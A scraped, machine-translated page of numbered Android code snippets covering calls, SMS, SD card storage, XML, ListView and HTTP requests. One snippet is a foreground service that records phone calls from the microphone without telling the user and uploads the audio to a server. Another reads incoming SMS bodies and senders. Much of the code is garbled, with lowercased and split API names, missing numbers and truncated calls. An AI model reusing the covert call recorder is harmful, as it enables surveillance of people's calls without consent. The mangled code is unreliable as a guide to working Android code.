Android Trivia Point Code snippet

Source: Internet
Author: User

  • 1 call operation broadcast Phone number
  •     Intent intent = new Intent();    intent.setAction(Intent.ACTION_CALL);    intent.setData(Uri.parse("tel:"+number));    startActivity(intent);
  • 2 Send SMS Action SMS message too long when splitting SMS a text message what is the maximum length? Chinese 70 Kanji English 160 characters

       SmsManager smsmanager = SmsManager.getDefault();    /*    *sentIntent, deliveryIntent延期的意图 ,    *sentintent 发送报告    *deliveryIntent 送达报告    */    ArrayList<String> messages = smsmanager.divideMessage(content);    for(String message : messages){        smsmanager.sendTextMessage(number, null, message, null, null);    }
  • 3. Check the SD card status and write the data to the SD card. Require permissions

  •  //media_unknown: Unrecognized SD card//media_removed: no SD card//MEDIA_UNMOUNTED:SD card exists but not mounted//MEDIA_CHECKING:SD        Card is ready//MEDIA_MOUNTED:SD card is already mounted, available if (Environment.getexternalstoragestate (). Equals (environment.media_mounted))        Returns a file object whose path is the real path of the SD card file File = new file (Environment.getexternalstoragedirectory (), "info.txt");        FileOutputStream Fos;            try {fos = new FileOutputStream (file);            Fos.write ((name + "# #" + Pass). GetBytes ());        Fos.close ();        } catch (Exception e) {e.printstacktrace ();    }} else{Toast.maketext (this, "the SD card is not available Yo Pro", 0). Show (); }}
  • 4. Determine the remaining capacity of the SD card.

    File path = Environment.getExternalStorageDirectory();StatFs stat = new StatFs(path.getPath());long blockSize;long totalBlocks;long availableBlocks;//获取当前系统版本的等级if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){       //4.3版本后开始起作用     blockSize = stat.getBlockSizeLong();     totalBlocks = stat.getBlockCountLong();     availableBlocks = stat.getAvailableBlocksLong();} else{                                                                                                                    //否则使用旧的api                                                blockSize = stat.getBlockSize();    totalBlocks = stat.getBlockCount();    availableBlocks = stat.getAvailableBlocks();}TextView tv = (TextView) findViewById(;tv.setText(formatSize(availableBlocks * blockSize));
  • 5 Generating an XML file using an XML serializer

  • 1. Get the Serializer object xmlserializer xs = Xml.newserializer ();//2. Initialize the file File = new file ("Sdcard/sms2.xml"); try {Fileoutputstrea    M fos = new FileOutputStream (file);    Enconding: Specifies what encoding is used to generate the XML file Xs.setoutput (FOS, "utf-8");    3. Start generating XML file//enconding: Specifies the value of the Enconding property in the header node xs.startdocument ("Utf-8", true);    Xs.starttag (NULL, "message");        for (Message sms:smslist) {Xs.starttag (null, "SMS");        Xs.starttag (NULL, "body");        Xs.text (Sms.getbody () + "<body>");        Xs.endtag (NULL, "body");        Xs.starttag (NULL, "date");        Xs.text (Sms.getdate ());        Xs.endtag (NULL, "date");        Xs.starttag (NULL, "type");        Xs.text (Sms.gettype ());        Xs.endtag (NULL, "type");        Xs.starttag (NULL, "address");        Xs.text (Sms.getaddress ());        Xs.endtag (NULL, "address");    Xs.endtag (NULL, "SMS");             } Xs.endtag (NULL, "message"); Tells the serializer that the file has been generated xs.enddocument ();} catch (Exception e) {//TODO auto-generated catch BloCK e.printstacktrace ();} 
  • 6. Parsing the XML file

  •  Gets the resource file under the src folder InputStream is = getClassLoader (). getResourceAsStream ("Weather.xml");//Get Pull Parser object Xmlpullparser    xp = Xml.newpullparser ();//Initialize try {xp.setinput (IS, "GBK");    To get the event type of the current node, by judging the event type, we can know what node the current node is, and thus determine what action we should do int type = Xp.geteventtype ();    City city = null; while (type! = xmlpullparser.end_document) {//depending on the type of node you want to do a different operation switch (type) {case Xmlpullparser.start _tag://Gets the name of the current node if ("Weather". Equals (Xp.getname ())) {//Create a city collection pair            JavaBean citylist = new arraylist<city> () for storing city;            } else if ("City". Equals (Xp.getname ())) {//Create city JavaBean Object city = new City (); } else if ("name". Equals (Xp.getname ())) {//Gets the text of the next node of the current node String name                = Xp.nexttext ();            City.setname (name); } else if ("temp". Equals (Xp.getname ())) {//Gets the currentThe text of the next node of the node} else if ("PM". Equals (Xp.getname ())) {//Gets the text of the next node of the current node}        Break        Case XmlPullParser.END_TAG:if ("City". Equals (Xp.getname ())) {} break;    }//Move the pointer to the next node and return the node's event type type = (); }} catch (Exception e) {e.printstacktrace ();}
  • 7 ListView Optimization

       1) multiplexing Convertview View v = null; Determine if the entry has a cache if (Convertview = = null) {//Fill the layout file into a View object v = view.inflate (Mainactivity.this, R        . Layout.item_listview, NULL);        }else{v = convertview;         } 2) using Viewholder, return a View object as the ListView entry appears to the interface public View getView (int position, View Convertview, ViewGroup parent) {        News news = Newslist.get (position);        View v = null;        Viewholder Mholder;            if (Convertview = = null) {v = view.inflate (mainactivity.this, R.layout.item_listview, NULL);            Mholder = new Viewholder ();            Encapsulates the objects of all components in the layout file into the Viewholder object mholder.tv_title = (TextView) V.findviewbyid (;            Mholder.tv_detail = (TextView) V.findviewbyid (;            Mholder.tv_comment = (TextView) V.findviewbyid (;            Mholder.siv = (Smartimageview) V.findviewbyid (R.ID.IV); Encapsulates the Viewholder object into the View object V.settag (Mholder);            }else{v = convertview;        Mholder = (Viewholder) v.gettag ();        }//Set content MHolder.tv_title.setText (News.gettitle ()) for three text boxes;        MHolder.tv_detail.setText (News.getdetail ());        MHolder.tv_comment.setText (news.getcomment () + "comment");        To the news picture ImageView set content MHolder.siv.setImageUrl (News.getimageurl ());    return v;        } What components are in the layout file for class viewholder{//entries, and what properties are defined here TextView tv_title;        TextView Tv_detail;        TextView tv_comment;    Smartimageview Siv; }
  • 8 use of the JUnit test framework

        1)在manifest中添加上下列代码    <instrumentation    android:name="android.test.InstrumentationTestRunner"    android:targetPackage="自己程序的包名" />    2)在application下添加以下代码    <uses-library android:name="android.test.runner" />    3)创建测试类继承AndroidTestCase类    4)编写测试方法
  • 10 submit data by Get method principle: Assemble URL

        String param1 = URLEncoder.encode(name);    String param2 = URLEncoder.encode(password);    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);    HttpURLConnection conn = (HttpURLConnection) url.openConnection();    conn.setRequestMethod("GET");    conn.setReadTimeout(5000);    // 数据并没有发送给服务器    // 获取服务器返回的流信息    InputStream is = conn.getInputStream();
  • 11 garbled problem when submitting Chinese

  •   1)服务器端问题 Tomcat 默认编码为iso8859-1  而提交的数据编码为utf-8   处理方法:服务器端onPost方法中    Sring name=request.getParameter("name");    if(name!=null){        name=new String(name.getBytes("iso8859-1"),"utf-8");    }  2)安卓端的问题 提交的url中文要编码   解决办法    String param1 = URLEncoder.encode(name);    String param2 = URLEncoder.encode(password);    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
  • 12 submitting data using the Post method

        1) Get the amount of data data submitted in a single commit is smaller than 4K internal actually through the group of the way to the URL post can submit a larger data form forms the way the stream is written to server public static String Senddatabypost        (string path, string name,string password) throws Exception {string param1 = Urlencoder.encode (name);        String param2 = urlencoder.encode (password);        URL url = new URL (path);        HttpURLConnection conn = (httpurlconnection) url.openconnection ();        String data = "Name=" + param1 + "&password=" + param2;        Conn.setrequestmethod ("POST");        Conn.setconnecttimeout (5000);        Set the HTTP protocol to write data to the server Conn.setdooutput (TRUE); Set the message header of the HTTP protocol to set the data type of the submission to form type Conn.setrequestproperty ("Content-type", "Application/x-www-form-urlen        Coded ");        Conn.setrequestproperty ("Content-length", data.length () + "");        Write our prepared data data to the server OutputStream OS = Conn.getoutputstream ();        Os.write (Data.getbytes ()); HttpURLConnection the underlying implementation outputstream is a buffered output stream//As soon as we get the information returned by any one of the servers, the datawill be presented to the server to get the stream information returned by the server int code = Conn.getresponsecode ();            if (code = =) {InputStream is = Conn.getinputstream ();            Byte[] result = Streamtool.getbytes (IS);        return new String (result);        } else {throw new IllegalStateException ("Server state exception");        }} 2) handling Chinese garbled String param1 = urlencoder.encode (name);        String param2 = urlencoder.encode (password);        URL url = new URL (path);        HttpURLConnection conn = (httpurlconnection) url.openconnection (); String data = "Name=" + param1 + "&password=" + param2;
  • 13 Because submitting data for the HTTP protocol is cumbersome, Gogole provides a simple set of API HttpClient to emulate the browser using httpclient get to submit data

     /** * HTTPCLI The simple packaging of ENT browser * New HttpClient is equivalent to getting a browser */public static string Senddatabyhttpclientget (string path, Strin        G name,string password) throws exception{//1. Gets an instance of a browser HttpClient client = new Defaulthttpclient (); 2.        Prepare the requested address String param1 = urlencoder.encode (name);        String param2 = urlencoder.encode (password);        HttpGet httpget = new HttpGet (path + "? name=" + param1 + "&password=" + param2); 3.        Outgoing request HttpResponse Ressponse = Client.execute (HttpGet);        int code = Ressponse.getstatusline (). Getstatuscode ();            if (code = =) {InputStream is =ressponse.getentity (). getcontent ();            Byte[] result = Streamtool.getbytes (IS);        return new String (result);        } else{throw new IllegalStateException ("Server state exception"); }    }
  • 14 submit data with HttpClient post

      public static string Senddatabyhttpclientpost (string path, string name,string password) throws exception{/ /1.    Gets an instance of a browser HttpClient client = new Defaulthttpclient (); 2.    Prepare the data type to be requested HttpPost HttpPost = new HttpPost (path);    Key value pair list< namevaluepair> parameters = new arraylist<namevaluepair> ();    Parameters.Add (New Basicnamevaluepair ("name", name));    Parameters.Add (New Basicnamevaluepair ("password", password));    urlencodedformentity entity = new Urlencodedformentity (Parameters, "Utf-8");    3. Set the Data Entity httppost.setentity (entity) for the POST request; 4.    Send data to server HttpResponse Ressponse = Client.execute (HttpPost);    int code = Ressponse.getstatusline (). Getstatuscode ();        if (code = =) {InputStream is =ressponse.getentity (). getcontent ();        Byte[] result = Streamtool.getbytes (IS);    return new String (result);    } else{throw new IllegalStateException ("Server state exception"); }}
  • 15 SMS Listener Get SMS operation in OnReceive method

         // intent 存放的有接收到的短信的内容    Object[] pdus =  (Object[]) intent.getExtras().get("pdus");    for(Object pdu:pdus){        SmsMessage message  = SmsMessage.createFromPdu((byte[])pdu);        // 获取短信的正文内容        final String content = message.getMessageBody();        //获取短信的发送者        final String address = message.getOriginatingAddress();
  • The usage service for the 164 component service is running in the main thread. Configuring Components in Androidmanifest

    Start-up service: Intent Intent = new Intent (this,phonelistenservice.class); StartService (Intent); 1 implement phone monitoring in service:< Uses-permission android:name= "Android.permission.READ_PHONE_STATE"/> Monitoring phone status <uses-permission android:name= "Android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> Monitor SD card status <uses-permission android:name= "Android.permission.                       Write_external_storage "/> Write external storage device <uses-permission android:name=" Android.permission.RECORD_AUDIO "/>                           Recording using Mic<uses-permission android:name= "Android.permission.INTERNET"/>    Access Internet public class Phonelistenservice extends Service {public IBinder onbind (Intent Intent) {return null; }//2.        The OnCreate method executes the public void OnCreate () {super.oncreate () when the service is created for the first time; Setforeground (TRUE); promotion to foreground process//1. Determine the status of the current phone,//If you find that the phone is in a call state//Create a recorder, record the user's call information//when the phone is found to be idle again to stop the recorder, the audio file upload to the server// Get phone and phone status related services TelePhonymanager manager = (Telephonymanager) this. Getsystemservice (Telephony_service);    Monitor phone status Manager.listen (new Myphonelistener (), phonestatelistener.listen_call_state);        } private class Myphonelistener extends Phonestatelistener {mediarecorder recorder = null; /** * Method Called when the call status of the phone is changed/@Override public void oncallstatechanged (int., String in Comingnumber) {try {switch (state) {case Telephonymanager.call_state_idle://                    The current phone is in idle state System.out.println ("Current phone is idle");                        Determine if the recorder is empty if (recorder!=null) {recorder.stop (); Recorder.release ();                        Now the object cannot is reused recorder = null;                         New Thread () {@Override public void run () {       The code that uploads the data to the server demo has a problematic file File = new file ("/sdcard/temp.3gp");                                try {upload (file);                                } catch (Exception e) {e.printstacktrace ();                    }}}.start ();                } break;                    Case telephonymanager.call_state_ringing://Current phone is in 0-ring State System.out.println ("phone number is" + incomingnumber);                Break                    Case Telephonymanager.call_state_offhook://The current phone is in the answer state System.out.println ("current phone is in call state");                    Initialize a recording device, recorder = new Mediarecorder ();                    Recorder.setaudiosource (MediaRecorder.AudioSource.MIC);                    Recorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP); RecordeR.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB);                    Recorder.setoutputfile ("/sdcard/temp.3gp");                    Recorder.prepare ();   Recorder.start ();                Recording is now started break;            }} catch (Exception e) {e.printstacktrace ();        } super.oncallstatechanged (state, Incomingnumber);                  }} public void upload (file file) throws exception{//instantiate an array of uploaded data part [] part[] parts = {        New Filepart ("file", file)};        Postmethod filepost = new Postmethod ("Http://");        Filepost.setrequestentity (New multipartrequestentity (Parts, Filepost.getparams ()));        Org.apache.commons.httpclient.HttpClient client = new Org.apache.commons.httpclient.HttpClient ();        Client.gethttpconnectionmanager (). Getparams (). Setconnectiontimeout (5000); int status = Client.executemethod (FilepoST);        if (status==200) {System.out.println ("upload succeeded");        } else{throw new IllegalStateException ("Server state exception"); }    }}
  • Life cycle of 13service

  • oncreate()   服务创建时候调用的方法onstart()    服务开启时候调用的方法ondestroy()  服务停止时候调用的方法两种服务开启方式1)通过startservice()开始服务 StopService()结束服务。2)绑定方式参数 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 绑定的时候服务不存在的时候会自动创建bindService(service,conn,flags);unBindService

Android Trivia Point Code snippet

Related Article

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.